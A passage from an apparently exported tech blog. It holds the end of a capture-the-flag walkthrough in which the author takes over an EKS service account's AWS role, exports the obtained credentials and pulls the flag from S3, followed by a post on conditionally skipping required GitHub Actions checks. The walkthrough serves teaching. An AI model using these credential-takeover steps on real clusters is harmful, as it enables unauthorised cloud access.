#96D0FF\"\u003e\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Provider\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Audience\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  We have some new AWS credentials.  Lets setup our new AWS Session:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are now the new role!   We hopefully have access to S3 now.  At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Statement\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Action\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Effect\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Resource\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Version\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e./flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eflag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand thats the final flag! In my next post I'll discuss the remediation steps\nto prevent this configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-01T19:00:00-05:00","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"}]},"git":{"count":1,"posts":[{"id":["2023","github_skip_required_checks"],"path":"2023/github_skip_required_checks","contentHtml":"\u003cp\u003eHaving every github action run on every pull request will end up slowing you\ndown and sometimes even discourage you from making changes.  For example, if you\nsee an error in the \u003ccode\u003eREADME.md\u003c/code\u003e but you know you'll have to wait for the entire\ntest suite to run you may choose not to push the change.\u003c/p\u003e\n\u003ch1\u003ePath Filtering\u003c/h1\u003e\n\u003cp\u003eTo address this problem, Github has a feature called \u003ca href=\"https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore\"\u003epath filtering\u003c/a\u003e\nwhich works really well!  You can include and exclude paths with a simple syntax:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich will run on any changes except for \u003ccode\u003eREADME.md\u003c/code\u003e and \u003ccode\u003e.gitignore\u003c/code\u003e.  There is\neven a simpler format to this by using \u003ccode\u003epaths-ignore\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths-ignore\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAlthough the path filtering feature of github works, I do not recommend using\nit because it has some critical issues that I'll talk about below!\u003c/p\u003e\n\u003ch1\u003eBranch Protection / Required Checks\u003c/h1\u003e\n\u003cp\u003ePath Filtering has one major flaw which is that it skips the run of the job\ncompletely which means if you are using \u003ca href=\"https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches\"\u003ebranch protection\u003c/a\u003e\nyour PR will be stuck in \u003ccode\u003epending\u003c/code\u003e state.\u003c/p\u003e\n\u003cp\u003eTo resolve this we will have to run the job, but skip the actions inside it that\nare slow conditionally. There are a few opensource actions out there that make\nthis easy but the one I recommend is:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tj-actions/changed-files\"\u003ehttps://github.com/tj-actions/changed-files\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIt creates a lot of useful outputs you can use in your conditional out of the box\nwhich makes your action easy to write.\u003c/p\u003e\n\u003ch1\u003eSkipping a required check\u003c/h1\u003e\n\u003cp\u003eSo using \u003ccode\u003etj-actions/changed-files\u003c/code\u003e to skip a required check, it will look very\nsimilar to the path filtering from github.  You first define what files you care\nabout:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheck if files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efiles_yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe \u003ccode\u003esrc\u003c/code\u003e is just a key selection I made here.  You can have many groups of\nfiles like \u003ccode\u003etests\u003c/code\u003e, \u003ccode\u003edocs\u003c/code\u003e, etc. and conditionally do things if each of them\nchanged.\u003c/p\u003e\n\u003cp\u003eSo from our example, this step will generate output we can use \u003ccode\u003esteps.changed-files-yaml.outputs.src_any_changed\u003c/code\u003e\nthat is either \u003ccode\u003etrue\u003c/code\u003e or \u003ccode\u003efalse.\u003c/code\u003e. To use this we can us the \u003ccode\u003eif\u003c/code\u003e conditional\nblock on our jobs.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will then skip linting if we didn't change any terraform and the job will\nbe marked successful!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/github_skip_required_checks/skipped_checks.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThis can be confusing sometimes and the people you work with (or future you!)\nmay wonder why these critical checks are being skipped.   I like to include\na message with the decision that was made so its obvious that we wanted to skip\nthem:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: 